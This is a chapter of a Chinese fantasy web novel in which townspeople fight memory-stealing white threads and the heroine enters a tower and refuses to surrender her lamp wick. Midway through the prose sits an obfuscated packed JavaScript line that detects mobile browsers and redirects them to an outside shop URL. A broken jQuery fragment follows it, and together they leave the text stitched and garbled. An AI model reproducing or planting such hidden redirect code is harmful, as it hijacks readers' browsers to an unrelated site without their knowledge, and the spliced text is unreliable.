钟声一响，药铺里的灯先灭了三盏。
写着名字的纸条被一阵无端的风卷起来，打着旋往门外飞。老妇人追出去，刚跨过门槛，脚腕便被一道白线缠住。
她低头看了一眼，脸上的血色全没了。
“又来了。”
白线从街尽头拖来。
一根、两根，沿着石板缝贴地游走。被记灯照过的人都看见了，有人慌忙关门，有人抱住身边的人，也有人站在原地，像被那根线牵住了魂。
阿兰先冲出去。
她把手里的记灯按在老妇人脚边，灯火一亮，白线便停了一下。老妇人趁机往后退，脚腕却已经被勒出一圈血痕。
“这样撑不了多久。”阿兰说。
顾长舟把药锅从炉子上端下来，盖子一掀，热气冲得人睁不开眼。
“城里的白线都动了。主塔在收灯水。”
“要收多久？”沈见微问。
“我不知道。”
阿砚站在门口，手里还攥着炭笔。他听见这话，低头看了看自己手臂。
“钟响三次。”
“什么？”
“我娘说过，钟响三次，塔门就会开。”阿砚说，“门开以后，没灯的人也会被带进去。”
第一声钟刚落。
远处白灯塔底下，人群已经开始聚拢。那些还没醒的人端着水碗，排着队往塔里走；刚刚记起事情的人被白线拖着，也一点点往那边挪。
顾栖灯看着街上横七竖八的线。
她本来想让人先躲进屋。
可白线从门缝、窗棂、地砖底下钻过去，躲到哪里都没用。
“得去塔里。”她说。
顾长川看向她。
“我去开路。”
“你跟我进塔。”顾栖灯道，“二哥留在这里，带着阿兰把记灯分出去。见微去北涧，把地窖里的人和盐船上的绳子都带来。”
沈见微皱眉：“我走了，你们塔里怎么办？”
“塔里有长川。”
顾长川没有说话，只把短刀从腰后抽出来，在掌心转了一圈。
沈见微咬了咬牙。
“行。你们别死。”
“你也别翻墙翻到河里去。”顾栖灯说。
“我水性比你好。”
“那更别翻。”
这种时候还能拌两句嘴，反而让人喘了口气。
顾长舟已经在拆药包。
他把醒神草、白眠花叶和一小包盐混在一起，分成十几份，递给阿兰。
“灯火若压下来，就撒在灯下。别往人脸上撒，会伤眼。”
阿兰接过药包。
“我不会配药。”
“你会认人。”顾长舟说，“比药重要。”
阿兰愣了一下，低头把药包收好。
顾栖灯蹲到阿砚面前。
“你跟二哥待在药铺。”
阿砚立刻摇头。
“我知道塔后面的路。”
“我知道。”
“我不会进塔。我在外面指路。”
顾栖灯看着他。
这孩子害怕得厉害，嘴唇都白了，却没再说“我要救我娘”。他只是把自己能做的事一件件数出来，像怕别人觉得他没用。
顾栖灯忽然想起小时候的自己。
她也总觉得，若不能替谁解决什么，便不该添麻烦。
“好。”她说，“你带我们到塔后。到了以后，立刻回来。若我们半个时辰没出来，你就去北涧找沈见微，不准自己进去。”
阿砚用力点头。
“我会写下来。”
“写在哪儿？”
阿砚抬起手臂。
顾栖灯笑了笑。
“行。”
第二声钟响起。
街上的白线猛地一收。
药铺门口那位老妇人没站稳，被拖出去几步。阿兰扑过去抱住她，手里的记灯差点摔了。
顾栖灯不再耽搁。
她和顾长川跟着阿砚穿过两条巷子。曲水城像被一只看不见的手从中间撕开，左边是提着白灯往塔里走的人，右边是拿着小油灯、抓着彼此不放的人。
有人在喊名字。
有人把名字写在门上、写在袖口、写在掌心。
白线从他们脚边游过，拖不动的，便在地上留下细细的血痕。
塔后的小井旁没有守卫。
原本守在那里的白衣人都去了前门，正引着送灯水的人进塔。阿砚把他们带到井边，指着一块松动的石板。
“从这里下去，能到水窖旁边。”
顾长川掀开石板，下面是一段很窄的石梯。
他先看了顾栖灯一眼。
顾栖灯点头。
阿砚却突然抓住她袖子。
“姐姐。”
“嗯？”
“我娘会记得我吗？”
顾栖灯没法说一定。
她只是摸了摸他的头。
“她刚才还在写你的名字。”
阿砚的眼睛一下红了。
“真的？”
“真的。”
他松开手，站在井边没再跟。
石梯一路向下。
越往下，钟声越重，像直接敲在胸口。顾栖灯扶着墙走，忽然听见顾长川问：“冷不冷？”
“有点。”
他把外衣脱下来递给她。
顾栖灯没接。
“你肩伤还没好。”
“我不冷。”
“你每次说不冷、不疼、没事，都不可信。”
顾长川停住。
石梯逼仄，两人离得很近。他似乎想说什么，最后只把衣裳重新披回去。
“那你抓着我。”
顾栖灯看了看他伸出来的手。
掌心有旧伤，腕上还留着被红线勒过的痕。
她握住了。
顾长川的手很凉。
到了塔底，石门已经开了一半。
门后是白茫茫的光。顾栖灯先听见很多人说话，声音并不大，像有人在很远的地方念书。
“我叫……”
“我住在……”
“我不想忘……”
一句句名字和愿望被白灯卷起来，贴到塔壁上。
顾栖灯走进去。
塔底是一座圆形的大殿。正中央有一口很深的井，井上悬着那座半人高的小塔。白线从井中升起，穿过小塔，向四周散开。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968862|214618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
阿兰和水窖里的六个人都被带到了这里。
他们仍坐在水边，手浸在白瓷碗中。白线缠过他们手腕，正一点点往上爬。
阿兰看见顾栖灯，张了张口。
她已经说不出话了。
顾栖灯跑过去，想把她拉开，却发现她的手像被钉在碗里。
顾长川一刀斩向白线。
刀刃刚碰到，塔顶便落下一道白光，直接打在他肩上。
顾长川闷哼一声，半跪下去。
“别砍。”顾栖灯扶住他。
白光消失后，他抬起头，脸色有些发白。
“它在护线。”
“那就不砍。”
顾栖灯看向小塔。
塔底开着一扇小门，门里有火。
那火并不大，像一盏快要燃尽的灯芯。可白线就是从那里长出来的。
“记灯。”她低声说。
顾长川顺着她的目光看过去。
“不是你拿出来那盏？”
“不是。”
顾栖灯忽然想明白了。
阿兰手里的记灯只是沈兰烛留下的一盏副灯。真正的记灯还在塔心，原本用来替人存下不愿忘记的事。引灯人把它倒过来，让它替人带走记忆。
只要塔心还亮着，曲水的人便逃不掉。
第三声钟响了。
大殿上方传来沉重的机关声。
塔门彻底打开。
城外的风灌进来，裹着无数白线。顾栖灯回头，透过塔门看见街上的人正一批批往里走。
有人已经忘了自己为什么哭。
有人忘了身边拉着的是谁。
顾长川撑着地面站起来。
“你想怎么做？”
顾栖灯看着那团火。
她没有马上回答。
塔心旁边挂着一块无字碑，碑后那只木匣已经被人取走了。原先压着木匣的位置，留下一道细小的凹槽。
和她铜灯里那截心灯灯芯，一模一样。
引灯人早就知道她会来。
甚至已经替她留好了位置。
白光落在顾栖灯身上。
塔顶传来那道没有右眼的声音。
“把灯芯放进去，曲水城的人会立刻安静。”
“他们会忘掉什么？”顾栖灯问。
“忘掉让他们痛苦的事。”
“然后呢？”
“然后活下去。”
顾栖灯站在原地。
阿兰的手腕已经被白线缠到手肘，顾长川的伤口重新渗出血，塔外还有数不清的人在往里走。
引灯人给出的办法简单得近乎诱人。
只要把灯芯放进去。
所有人都会安静。
可顾栖灯想起药铺里那位老妇人写下“周小山”时的手，想起阿砚一次次把名字写在胳膊上，也想起母亲留在信里的那句话。
记灯不记悲苦，不替人忘。
她取出灯芯。
没有放进凹槽。
而是走到阿兰身边，将灯芯塞进她握着炭笔的手里。
“写。”
阿兰抬头。
顾栖灯看着她。
“把阿砚的名字写在塔上。”